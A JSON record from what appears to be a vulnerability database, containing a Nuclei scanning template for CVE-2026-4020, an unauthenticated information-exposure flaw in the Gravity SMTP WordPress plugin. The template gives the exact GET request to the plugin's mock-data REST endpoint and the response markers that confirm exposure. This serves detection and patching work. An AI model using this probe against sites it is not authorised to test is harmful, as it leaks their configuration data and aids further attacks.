{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-4020/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-4020/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-4020/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-4020/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-4020/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-4020"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-4020"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-4020.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-4020\n\ninfo:\n  name: Gravity SMTP WordPress Plugin - Sensitive Information Exposure\n  author: theamanrawat\n  severity: high\n  description: |\n    Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.\n  remediation: |\n    Update to the latest version beyond 2.1.4.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4020\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-200\n    cve-id: CVE-2026-4020\n    epss-score: 0.02236\n    epss-percentile: 0.82054\n  metadata:\n    max-request: 1\n    verified: true\n    vendor: rocketgenius\n    product: gravitysmtp\n    framework: wordpress\n  tags: cve,cve2026,exposure,wordpress,wp-plugin,gravitysmtp,wp,unauthenticated,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"gravitysmtp_admin_config\"\n          - \"system_report_clipboard\"\n          - \"feature_flags\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100fc350f89c8d84ca6eabdad290fc29d6664ae08c2df2e32ea4d35b2783407ad5f02207436d0e3497d1204880d2fe3f87db82e2135ba20cf4a7a1cc7b5d53a234dd691:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-4020"
}